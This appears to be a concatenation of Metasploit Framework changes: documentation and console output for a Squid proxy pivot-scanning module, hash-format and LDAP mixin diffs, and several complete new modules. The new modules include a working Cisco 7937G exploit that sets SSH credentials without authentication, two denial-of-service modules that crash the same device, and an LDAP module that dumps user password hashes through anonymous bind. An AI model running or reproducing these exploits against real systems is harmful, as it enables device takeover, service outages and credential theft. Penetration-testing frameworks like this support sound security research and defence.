1. You should see the module attempt to connect to the proxy, and then first port of the first host in `RANGE`. Ports will be tested sequentially until the end of `PORTS` is reached, at which point it will start from the first port on the next host in `RANGE`.
## Options
Here is a quick overview of each option within the module.
### CANARY_IP
The IP to check if the proxy always answers positively - this IP address should not normally respond.
Default value: `1.2.3.4`
### MANUAL_CHECK
Invoke the canary check, and stop the scan if the Squid proxy server appears to answer positively to every request.
Default value: `true`
### PORTS
The destination TCP ports to scan through the proxy. Ports will be scanned in ascending order.
Note: these must be TCP, this scanner cannot scan other protocols.
### Proxies
This option should not be confused with the Squid proxy you are trying to scan - this is one of the default Meterpreter paramets in which you can specify a proxy chain to use that you require to reach the Squid proxy.
### RANGE
This is the IP range you wish to sca through the Squid proxy. `PORTS` on these hosts will be scanned. Hosts are scanned in ascending order.
### RPORT
This is the port that the Squid proxy is listening on. Squid defaults to 3128.
Default value: `3128`
### SSL
Whether you need to connect to Squid with SSL. This is not normally the case.
Default value: `false`
### THREADS
The number of concurrent threads (max one per Squid host).
Default value: `1`
### VHOST
HTTP server virtual host header to send on requests.
## Scenarios and Examples
The following is a brief demo of a port scan against two hosts (`192.168.0.1` and `192.168.0.2`) through a Squid proxy responding at `10.10.10.100:3128`. You could assume that the Squid host has a public or otherwise reachable IP address, where the `192.168.0.0` network range is not normally reachable to you.
```
msf6 > use auxiliary/scanner/http/squid_pivot_scanning
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RPORT 3128
RPORT => 3128
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 21-25,79-81,139,443,445,1433,1521,1723,3389,8080,9100
PORTS => 21-25,79-81,139,443,445,1433,1521,1723,3389,8080,9100
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 192.168.0.1-192.168.0.2
RANGE => 192.168.0.1-192.168.0.2
msf6 auxiliary(scanner/http/squid_pivot_scanning) > run
[+] [10.10.10.100] 192.168.0.1 is alive.
[+] [10.10.10.100] 192.168.0.1:80 seems open (HTTP 200, server header: 'nginx/1.14.0 (Ubuntu)').
[+] [10.10.10.100] 192.168.0.2 is alive.
[+] [10.10.10.100] 192.168.0.2:80 seems open (HTTP 302 redirect to: 'index.php', server header: 'nginx/1.14.0 (Ubuntu)')
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Setting the `VERBOSE` option will show each port tested and explain the reason for unreachable ports, if known. This can be helpful, as a port might very well be open and responding on a host, however if it is denied by the Squid ACL you will be unable to reach it regardless.
```
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/http/squid_pivot_scanning) > run
[*] [10.10.10.100] Verifying manual testing is not required...
[*] [10.10.10.100] Requesting 192.168.0.1:21
[+] [10.10.10.100] 192.168.0.1 is alive.
[*] [10.10.10.100] 192.168.0.1 is alive but 21 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:22
[*] [10.10.10.100] 192.168.0.1:22 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:23
[*] [10.10.10.100] 192.168.0.1:23 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:24
[*] [10.10.10.100] 192.168.0.1:24 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:25
[*] [10.10.10.100] 192.168.0.1:25 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:79
[*] [10.10.10.100] 192.168.0.1:79 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:80
[+] [10.10.10.100] 192.168.0.1:80 seems open (HTTP 200, server header: 'nginx/1.14.0 (Ubuntu)').
[*] [10.10.10.100] Requesting 192.168.0.1:81
[*] [10.10.10.100] 192.168.0.1:81 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:139
[*] [10.10.10.100] 192.168.0.1:139 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:443
[*] [10.10.10.100] 192.168.0.1 is alive but 443 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:445
[*] [10.10.10.100] 192.168.0.1:445 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:1433
[*] [10.10.10.100] 192.168.0.1 is alive but 1433 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:1521
[*] [10.10.10.100] 192.168.0.1 is alive but 1521 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:1723
[*] [10.10.10.100] 192.168.0.1 is alive but 1723 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:3389
[*] [10.10.10.100] 192.168.0.1 is alive but 3389 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:8080
[*] [10.10.10.100] 192.168.0.1 is alive but 8080 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:9100
[*] [10.10.10.100] 192.168.0.1 is alive but 9100 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:21
[+] [10.10.10.100] 192.168.0.2 is alive.
[*] [10.10.10.100] 192.168.0.2 is alive but 21 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:22
[*] [10.10.10.100] 192.168.0.2:22 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:23
[*] [10.10.10.100] 192.168.0.2:23 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:24
[*] [10.10.10.100] 192.168.0.2:24 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:25
[*] [10.10.10.100] 192.168.0.2:25 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:79
[*] [10.10.10.100] 192.168.0.2:79 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:80
[+] [10.10.10.100] 192.168.0.2:80 seems open (HTTP 302 redirect to: 'index.php', server header: 'nginx/1.14.0 (Ubuntu)')
[*] [10.10.10.100] Requesting 192.168.0.2:81
[*] [10.10.10.100] 192.168.0.2:81 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:139
[*] [10.10.10.100] 192.168.0.2:139 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:443
[*] [10.10.10.100] 192.168.0.2 is alive but 443 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:445
[*] [10.10.10.100] 192.168.0.2:445 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:1433
[*] [10.10.10.100] 192.168.0.2 is alive but 1433 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:1521
[*] [10.10.10.100] 192.168.0.2 is alive but 1521 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:1723
[*] [10.10.10.100] 192.168.0.2 is alive but 1723 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:3389
[*] [10.10.10.100] 192.168.0.2 is alive but 3389 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:8080
[*] [10.10.10.100] 192.168.0.2 is alive but 8080 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:9100
[*] [10.10.10.100] 192.168.0.2 is alive but 9100 is closed.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
If the Squid administrator has made the error of having an ACL be too permissive, you might even see more interesting ports. A contrived example is below, note SSH has been added to `Safe_ports`.
```
acl Safe_ports port 80 # http
acl Safe_ports port 443 # https
acl Safe_ports port 21 # ftp
acl Safe_ports port 22 # ssh
http_access deny !Safe_ports
http_access allow localhost
http_access allow localnet
http_access deny all
```
```
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set TARGETS 127.0.0.1
TARGETS => 127.0.0.1
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 127.0.0.1
RANGE => 127.0.0.1
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 21-23
PORTS => 21-23
msf6 auxiliary(scanner/http/squid_pivot_scanning) > run
[*] [10.10.10.100] Verifying manual testing is not required...
[*] [10.10.10.100] Requesting 127.0.0.1:21
[+] [10.10.10.100] 127.0.0.1 is alive.
[*] [10.10.10.100] 127.0.0.1 is alive but 21 is closed.
[*] [10.10.10.100] Requesting 127.0.0.1:22
[+] [10.10.10.100] 127.0.0.1:22 seems open (HTTP 200, server header: 'unknown').
[*] [10.10.10.100] Requesting 127.0.0.1:23
[*] [10.10.10.100] 127.0.0.1:23 likely blocked by ACL.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Finally, it is worth knowing that all open discovered ports are saved as services for later viewing:
```
msf6 auxiliary(scanner/http/squid_pivot_scanning) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
127.0.0.1 22 tcp unknown open SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
Protocol mismatch.
192.168.0.1 80 tcp nginx/1.14.0 (ubuntu) open <html><head>...
192.168.0.2 80 tcp nginx/1.14.0 (ubuntu) open Redirect to: index.php
```
@@ -42,6 +42,20 @@ def identify_hash(hash)
return 'des,crypt'
when hash =~ /^\$dynamic_82\$[\da-f]{128}\$HEX\$[\da-f]{32}$/ # jtr vmware ldap https://github.com/rapid7/metasploit-framework/pull/13865#issuecomment-660718108
return 'dynamic_82'
when hash.start_with?(/{SSHA}/i)
return 'ssha'
when hash.start_with?(/{SHA512}/i)
return 'raw-sha512'
when hash.start_with?(/{SHA}/i)
return 'raw-sha1'
when hash.start_with?(/{MD5}/i)
return 'raw-md5'
when hash.start_with?(/{SMD5}/i)
return 'smd5'
when hash.start_with?(/{SSHA256}/i)
return 'ssha256'
when hash.start_with?(/{SSHA512}/i)
return 'ssha512'
# windows
when hash.length == 65 && hash =~ /^[\da-fA-F]{32}:[\da-fA-F]{32}$/ && hash.split(':').first.upcase == 'AAD3B435B51404EEAAD3B435B51404EE'
return 'nt'
@@ -186,6 +186,20 @@ module Metasploit
'10200'
when 'dynamic_82'
'1710'
when 'ssha'
'111'
when 'raw-sha512'
'1700'
when 'raw-sha1'
'100'
when 'raw-md5'
'0'
when 'smd5'
'6300'
when 'ssha256'
'1411'
when 'ssha512'
'1711'
else
nil
end
@@ -67,7 +67,8 @@ def hash_to_hashcat(cred)
when /md5|des|bsdi|crypt|bf/, /mssql|mssql05|mssql12|mysql/, /sha256|sha-256/,
/sha512|sha-512/, /xsha|xsha512|PBKDF2-HMAC-SHA512/,
/mediawiki|phpass|PBKDF2-HMAC-SHA1/,
/android-sha1/, /android-samsung-sha1/, /android-md5/
/android-sha1/, /android-samsung-sha1/, /android-md5/,
/ssha/, /raw-sha512/
# md5(crypt), des(crypt), b(crypt), sha256, sha512, xsha, xsha512, PBKDF2-HMAC-SHA512
# hash-mode: 500 1500 3200 7400 1800 122 1722 7100
# mssql, mssql05, mssql12, mysql, mysql-sha1
@@ -76,6 +77,8 @@ def hash_to_hashcat(cred)
# hash-mode: 3711, 400, 12001
# android-sha1
# hash-mode: 5800
# ssha, raw-sha512
# hash-mode: 111, 1700
return cred.private.data
end
end
@@ -63,6 +63,8 @@ def hash_to_jtr(cred)
# /des(crypt)/
# /mediawiki|phpass|atlassian/
# /dynamic_82/
# /ssha/
# /raw-sha512/
return "#{cred.public.username}:#{cred.private.data}:#{cred.id}:"
end
end
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.0.2"
VERSION = "6.0.3"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+2 -2
View File
@@ -13,14 +13,14 @@ module Msf
###
class Auxiliary < Msf::Module
require 'msf/core/auxiliary/mixins'
class Complete < RuntimeError
end
class Failed < RuntimeError
end
require 'msf/core/auxiliary/mixins'
include HasActions
#
+21 -4
View File
@@ -1,4 +1,5 @@
# -*- coding: binary -*-
module Msf
###
@@ -9,6 +10,8 @@ module Msf
module Auxiliary::Scanner
class AttemptFailed < Msf::Auxiliary::Failed
end
#
# Initializes an instance of a recon auxiliary module
@@ -119,6 +122,8 @@ def run
if datastore['CHOST']
@scan_errors << "The source IP (CHOST) value of #{datastore['CHOST']} was not usable"
end
rescue Msf::Auxiliary::Scanner::AttemptFailed => e
nmod.vprint_error("#{e}")
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError
rescue ::Interrupt,::NoMethodError, ::RuntimeError, ::ArgumentError, ::NameError
raise $!
@@ -198,10 +203,12 @@ def run
mybatch = bat.dup
begin
nmod.run_batch(mybatch)
rescue ::Rex::BindFailed
if datastore['CHOST']
@scan_errors << "The source IP (CHOST) value of #{datastore['CHOST']} was not usable"
end
rescue ::Rex::BindFailed
if datastore['CHOST']
@scan_errors << "The source IP (CHOST) value of #{datastore['CHOST']} was not usable"
end
rescue Msf::Auxiliary::Scanner::AttemptFailed => e
print_error("#{e}")
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error
rescue ::Interrupt,::NoMethodError, ::RuntimeError, ::ArgumentError, ::NameError
raise $!
@@ -331,6 +338,16 @@ def add_delay_jitter(_delay, _jitter)
end
end
def fail_with(reason, msg = nil, abort: false)
if abort
# raising Failed will case the run to be aborted
raise Msf::Auxiliary::Failed, "#{reason.to_s}: #{msg}"
else
# raising AttemptFailed will cause the run_host / run_batch to be aborted
raise Msf::Auxiliary::Scanner::AttemptFailed, "#{reason.to_s}: #{msg}"
end
end
end
end
+11 -10
View File
@@ -58,28 +58,29 @@ module Exe
def create_thread_stub_x64
<<-EOS
push rbp
mov rbp, rsp
sub rsp, 38h
and rsp, 0xfffffffffffffff0 ; Ensure RSP is 16 byte aligned
mov rcx, hook_libname
sub rsp, 30h
mov rax, iat_LoadLibraryA
call [rax]
add rsp, 30h
mov rdx, hook_funcname
mov rcx, rax
sub rsp, 30h
mov rax, iat_GetProcAddress
call [rax]
add rsp, 30h
push 0
push 0
mov r9, 0
xor ecx, ecx
mov qword ptr [rsp+28h], rcx
mov qword ptr [rsp+20h], rcx
mov r9, rcx
mov r8, thread_hook
mov rdx, 0
mov rcx, 0
mov rdx, rcx
call rax
add rsp,10h ; clean up the push 0 above
leave
jmp entrypoint
hook_libname db 'kernel32', 0
+119 -69
View File
@@ -7,83 +7,133 @@
require 'net-ldap'
module Msf
module Exploit::Remote::LDAP
module Exploit::Remote::LDAP
def initialize(info = {})
super
def initialize(info = {})
super
register_options([
Opt::RHOST,
Opt::RPORT(389),
OptBool.new('SSL', [false, 'Enable SSL on the LDAP connection', false]),
OptString.new('BIND_DN', [false, 'The username to authenticate to LDAP server']),
OptString.new('BIND_PW', [false, 'Password for the BIND_DN'])
])
register_options([
Opt::RHOST,
Opt::RPORT(389),
OptBool.new('SSL', [false, 'Enable SSL on the LDAP connection', false])
])
register_advanced_options([
OptFloat.new('LDAP::ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0])
])
end
register_advanced_options([
OptFloat.new('ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0])
])
end
def rhost
datastore['RHOST']
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def rport
datastore['RPORT']
end
def peer
"#{rhost}:#{rport}"
end
def peer
"#{rhost}:#{rport}"
end
def ldap_connect(opts = {}, &block)
connect_opts = {
host: rhost,
port: rport,
connect_timeout: datastore['ConnectTimeout']
}
if datastore['SSL']
connect_opts[:encryption] = {
method: :simple_tls,
tls_options: {
verify_mode: OpenSSL::SSL::VERIFY_NONE
}
def get_connect_opts()
connect_opts = {
host: rhost,
port: rport,
connect_timeout: datastore['LDAP::ConnectTimeout']
}
if datastore['SSL']
connect_opts[:encryption] = {
method: :simple_tls,
tls_options: {
verify_mode: OpenSSL::SSL::VERIFY_NONE
}
}
end
if datastore['BIND_DN']
connect_opts[:auth] = {
method: :simple,
username: datastore['BIND_DN']
}
if datastore['BIND_PW']
connect_opts[:auth][:password] = datastore['BIND_PW']
end
end
connect_opts
end
Net::LDAP.open(connect_opts.merge(opts), &block)
def ldap_connect(opts = {}, &block)
Net::LDAP.open(get_connect_opts.merge(opts), &block)
end
def ldap_new(opts = {})
ldap = Net::LDAP.new(get_connect_opts.merge(opts))
# NASTY, but required
# monkey patch ldap object in order to ignore bind errors
# Some servers (e.g. OpenLDAP) return result even after a bind
# has failed, e.g. with LDAP_INAPPROPRIATE_AUTH - anonymous bind disallowed.
# See: https://www.openldap.org/doc/admin23/security.html#Authentication%20Methods
# "Note that disabling the anonymous bind mechanism does not prevent anonymous
# access to the directory."
#
# Bug created for Net:LDAP https://github.com/ruby-ldap/ruby-net-ldap/issues/375
#
def ldap.use_connection(args)
if @open_connection
yield @open_connection
else
begin
conn = new_connection
conn.bind(args[:auth] || @auth)
# Commented out vs. original
# result = conn.bind(args[:auth] || @auth)
# return result unless result.result_code == Net::LDAP::ResultCodeSuccess
yield conn
ensure
conn.close if conn
end
end
end
yield ldap
end
def get_naming_contexts(ldap)
vprint_status("#{peer} Getting root DSE")
unless (root_dse = ldap.search_root_dse)
print_error("#{peer} Could not retrieve root DSE")
return
end
vprint_line(root_dse.to_ldif)
naming_contexts = root_dse[:namingcontexts]
# NOTE: Net::LDAP converts attribute names to lowercase
if naming_contexts.empty?
print_error("#{peer} Empty namingContexts attribute")
return
end
naming_contexts
end
def discover_base_dn(ldap)
naming_contexts = get_naming_contexts(ldap)
unless naming_contexts
print_error("#{peer} Base DN cannot be determined")
return
end
# NOTE: We assume the first namingContexts value is the base DN
base_dn = naming_contexts.first
print_good("#{peer} Discovered base DN: #{base_dn}")
base_dn
end
end
def discover_base_dn(ldap)
print_status('Searching root DSE for base DN')
unless (root_dse = ldap.search_root_dse)
print_error('Could not retrieve root DSE')
return
end
vprint_line(root_dse.to_ldif)
# NOTE: Net::LDAP converts attribute names to lowercase
unless root_dse[:namingcontexts]
print_error('Could not find namingContexts attribute')
return
end
if root_dse[:namingcontexts].empty?
print_error('Could not find base DN')
return
end
# NOTE: We assume the first namingContexts value is the base DN
base_dn = root_dse[:namingcontexts].first
print_good("Discovered base DN: #{base_dn}")
base_dn
rescue Net::LDAP::Error => e
print_error("#{e.class}: #{e.message}")
nil
end
end
end
@@ -614,6 +614,8 @@ class Core
framework.features.set(feature_name, value == 'true')
print_line("#{feature_name} => #{value}")
# Reload the current module, as feature flags may impact the available module options etc
driver.run_single("reload") if driver.active_module
when 'print'
if framework.features.all.empty?
print_line 'There are no features to enable at this time. Either the features have been removed, or integrated by default.'
@@ -644,7 +646,7 @@ class Core
print_line features_table.to_s
else
cmd_help
cmd_features_help
end
rescue StandardError => e
elog(e)
+97
View File
@@ -0,0 +1,97 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# standard modules
from metasploit import module
import logging
# extra modules
dependency_missing = False
try:
import requests
except ImportError:
dependency_missing = True
metadata = {
'name': 'Cisco 7937G SSH Privilege Escalation',
'description': '''
This module exploits a feature that should not be available
via the web interface. An unauthenticated user may change
the credentials for SSH access to any username and password
combination desired, giving access to administrative
functions through an SSH connection.
''',
'authors': [
'Cody Martin'
# Author Homepage: debifrank.github.io
# Organization: BlackLanternSecurity
# Org. Homepage: BlackLanternSecurity.com
],
'date': '2020-06-02',
'license': 'GPL_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/'},
{'type': 'cve', 'ref': '2020-16137'}
],
'type': 'single_scanner',
'options': {
'rhost': {'type': 'address',
'description': 'Target address',
'required': True,
'default': ''},
'USER': {'type': 'string',
'description': 'Desired username',
'required': True,
'default': ''},
'PASS': {'type': 'string',
'description': 'Desired password',
'required': True,
'default': ''},
'TIMEOUT': {'type': 'int',
'description': 'Timeout in seconds',
'required': True,
'default': 5}
}
}
def run(args):
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
if dependency_missing:
logging.error('Python module dependency (requests) is missing, cannot continue')
logging.error('Please execute pip3 install requests.')
return
url = "http://{}/localmenus.cgi".format(args['rhost'])
payload_user = {"func": "403", "set": "401",
"name1": args['USER'], "name2": args['USER']}
payload_pass = {"func": "403", "set": "402",
"pwd1": args['PASS'], "pwd2": args['PASS']}
logging.info("Attempting to set SSH credentials.")
try:
r = requests.post(url=url, params=payload_user,
timeout=int(args['TIMEOUT']))
if r.status_code != 200:
logging.error("Device doesn't appear to be functioning or web access is not enabled.")
return
r = requests.post(url=url, params=payload_pass, timeout=int(args['TIMEOUT']))
if r.status_code != 200:
logging.error("Device doesn't appear to be functioning or web access is not enabled.")
return
except requests.exceptions.RequestException:
logging.error("Device doesn't appear to be functioning or web access is not enabled.")
return
logging.info("SSH attack finished!")
logging.info(("Try to login using the supplied credentials {}:{}").format(
args['USER'], args['PASS']))
logging.info("You must specify the key exchange when connecting or the device will be DoS'd!")
logging.info(("ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 {}@{}").format(args['USER'], args['rhost']))
return
if __name__ == "__main__":
module.run(metadata, run)
@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary
File.open(tarfile, 'rb') do |file|
Rex::Tar::Reader.new(file) do |tar|
tar.each do |entry|
dest = File.join destination, entry.full_name
dest = File.join(destination, File.basename(entry.full_name))
if entry.file?
File.open(dest, 'wb') do |f|
f.write(entry.read)
+98
View File
@@ -0,0 +1,98 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# standard modules
from metasploit import module
import logging
import string
import random
# extra modules
dependency1_missing = False
dependency2_missing = False
try:
import socket
except ImportError:
dependency1_missing = True
try:
import paramiko
except ImportError:
dependency2_missing = True
metadata = {
'name': 'Cisco 7937G Denial-of-Service Attack',
'description': '''
This module exploits a bug in how the conference station
handles incoming SSH connections that provide an incompatible
key exchange. By connecting with an incompatible key exchange,
the device becomes nonresponsive until it is manually power
cycled.
''',
'authors': [
'Cody Martin'
# Author Homepage: debifrank.github.io
# Organization: BlackLanternSecurity
# Org. Homepage: BlackLanternSecurity.com
],
'date': '2020-06-02',
'license': 'GPL_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/'},
{'type': 'cve', 'ref': '2020-16138'}
],
'type': 'dos',
'options': {
'rhost': {'type': 'address',
'description': 'Target address',
'required': True,
'default': 'None'},
'timeout': {'type': 'int',
'description':
'Timeout in seconds',
'required': True,
'default': 15}
}
}
# from modules/auxiliary/dos/http/slowloris.py
def create_rand_cred(size, seq=string.ascii_uppercase + string.ascii_lowercase):
return ''.join(random.choice(seq) for _ in range(size))
def run(args):
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
if dependency1_missing:
logging.error('Python module dependency (socket) is missing, cannot continue')
logging.error('Please execute pip3 install socket.')
return
if dependency2_missing:
logging.error('Python module dependency (paramiko) is missing, cannot continue')
logging.error('Please execute pip3 install paramiko.')
return
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(int(args['timeout']))
try:
sock.connect((args['rhost'], 22))
except OSError:
logging.error("Device doesn't appear to be functioning (already DoS'd?) or SSH is not enabled.")
return
transport = paramiko.Transport(sock=sock, disabled_algorithms={"kex": ["diffie-hellman-group-exchange-sha1",
"diffie-hellman-group14-sha1",
"diffie-hellman-group1-sha1"]})
ssh_uname = create_rand_cred(random.randint(7, 10))
ssh_pass = create_rand_cred(random.randint(7, 10))
try:
transport.connect(username=ssh_uname, password=ssh_pass)
except (paramiko.ssh_exception.SSHException, OSError, paramiko.SSHException):
logging.info("DoS non-reset attack completed!")
logging.info("Errors are intended.")
logging.info("Device must be power cycled to restore functionality.")
return
return
if __name__ == '__main__':
module.run(metadata, run)
+89
View File
@@ -0,0 +1,89 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# standard modules
from metasploit import module
import logging
# extra modules
requests_missing = False
random_missing = False
string_missing = False
try:
import requests
except ImportError:
requests_missing = True
try:
import random
except ImportError:
random_missing = True
try:
import string
except ImportError:
string_missing = True
metadata = {
'name': 'Cisco 7937G Denial-of-Service Reboot Attack',
'description': '''
This module exploits a bug in how the conference station handles
executing a ping via its web interface. By repeatedly executing
the ping function without clearing out the resulting output,
a DoS is caused that will reset the device after a few minutes.
''',
'authors': [
'Cody Martin'
# Author Homepage: debifrank.github.io
# Organization: BlackLanternSecurity
# Org. Homepage: BlackLanternSecurity.com
],
'date': '2020-06-02',
'license': 'GPL_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/'},
{'type': 'cve', 'ref': '2020-16139'}
],
'type': 'dos',
'options': {
'rhost': {'type': 'address',
'description': 'Target address',
'required': True,
'default': 'None'}
}
}
def run(args):
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
if requests_missing:
logging.error('Required Python module dependency (requests) is missing.')
logging.error('Please execute pip3 install requests.')
return
if random_missing:
logging.error('Required Python module dependency (random) is missing.')
logging.error('Please execute pip3 install random.')
if string_missing:
logging.error('Required Python module dependency (string) is missing.')
logging.error('Please execute pip3 install string.')
url = "http://{}/localmenus.cgi".format(args['rhost'])
data = ''.join(random.choice(string.ascii_letters) for i in range(46))
payload = {"func": "609", "data": data, "rphl": "1"}
logging.info("Sending POST requests triggering the PING function.")
logging.info("Device should crash with a DoS shortly...")
for i in range(1000):
try:
r = requests.post(url=url, params=payload, timeout=5)
if r.status_code != 200:
logging.error("Device doesn't appear to be functioning or web access is not enabled.")
return
except requests.exceptions.ReadTimeout as e:
logging.info('DoS reset attack completed!')
return
except requests.exceptions.RequestException as e:
logging.info('An unexpected exception occurred: ' + str(e))
logging.info('The device may be DoS\'d already or not have web access enabled.')
return
if __name__ == '__main__':
module.run(metadata, run)
+396
View File
@@ -0,0 +1,396 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/hashes/identify'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'LDAP Information Disclosure',
'Description' => %q{
This module uses an anonymous-bind LDAP connection to dump data from
an LDAP server. Searching for attributes with user credentials
(e.g. userPassword).
},
'Author' => [
'Hynek Petrak' # Discovery, module
],
'References' => [
['CVE', '2020-3952'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']
],
'DisclosureDate' => '2020-07-23',
'License' => MSF_LICENSE,
'Actions' => [
['Dump', 'Description' => 'Dump all LDAP data']
],
'DefaultAction' => 'Dump',
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(636), # SSL/TLS
OptInt.new('MAX_LOOT', [false, 'Maximum number of LDAP entries to loot', nil]),
OptInt.new('READ_TIMEOUT', [false, 'LDAP read timeout in seconds', 600]),
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptString.new('USER_ATTR', [false, 'LDAP attribute(s), that contains username', 'dn']),
OptString.new('PASS_ATTR', [
true, 'LDAP attribute, that contains password hashes',
'userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword'
# Other potential candidates:
# ipanthash, krbpwdhistory, krbmkey, userpkcs12, unixUserPassword, krbprincipalkey, radiustunnelpassword, sambapasswordhistory
])
])
end
def user_attr
@user_attr ||= 'dn'
end
def print_ldap_error(ldap)
opres = ldap.get_operation_result
msg = "LDAP error #{opres.code}: #{opres.message}"
unless opres.error_message.to_s.empty?
msg += " - #{opres.error_message}"
end
print_error("#{peer} #{msg}")
end
# PoC using ldapsearch(1):
#
# Retrieve root DSE with base DN:
# ldapsearch -xb "" -s base -H ldap://[redacted]
#
# Dump data using discovered base DN:
# ldapsearch -xb bind_dn -H ldap://[redacted] \* + -
def run_host(ip)
@rhost = ip
@read_timeout = datastore['READ_TIMEOUT'] || 600
entries_returned = 0
print_status("#{peer} Connecting...")
ldap_new do |ldap|
if ldap.get_operation_result.code == 0
vprint_status("#{peer} LDAP connection established")
else
# Even if we get "Invalid credentials" error, we may proceed with anonymous bind
print_ldap_error(ldap)
end
if (base_dn_tmp = datastore['BASE_DN'])
vprint_status("#{peer} User-specified base DN: #{base_dn_tmp}")
naming_contexts = [base_dn_tmp]
else
vprint_status("#{peer} Discovering base DN(s) automatically")
begin
# HACK: fix lack of read/write timeout in Net::LDAP
Timeout.timeout(@read_timeout) do
naming_contexts = get_naming_contexts(ldap)
end
rescue Timeout::Error
fail_with(Failure::TimeoutExpired, 'The timeout expired while reading naming contexts')
ensure
unless ldap.get_operation_result.code == 0
print_ldap_error(ldap)
end
end
if naming_contexts.nil? || naming_contexts.empty?
vprint_warning("#{peer} Falling back to an empty base DN")
naming_contexts = ['']
end
end
@max_loot = datastore['MAX_LOOT']
@user_attr ||= datastore['USER_ATTR']
@user_attr ||= 'dn'
vprint_status("#{peer} Taking '#{@user_attr}' attribute as username")
pass_attr ||= datastore['PASS_ATTR']
@pass_attr_array = pass_attr.split(/[,\s]+/).compact.reject(&:empty?).map(&:downcase)
# Dump root DSE for useful information, e.g. dir admin
if @max_loot.nil? || (@max_loot > 0)
print_status("#{peer} Dumping data for root DSE")
ldap_search(ldap, 'root DSE', {
ignore_server_caps: true,
scope: Net::LDAP::SearchScope_BaseObject
})
end
naming_contexts.each do |base_dn|
print_status("#{peer} Searching base DN='#{base_dn}'")
entries_returned += ldap_search(ldap, base_dn, {
base: base_dn
})
end
end
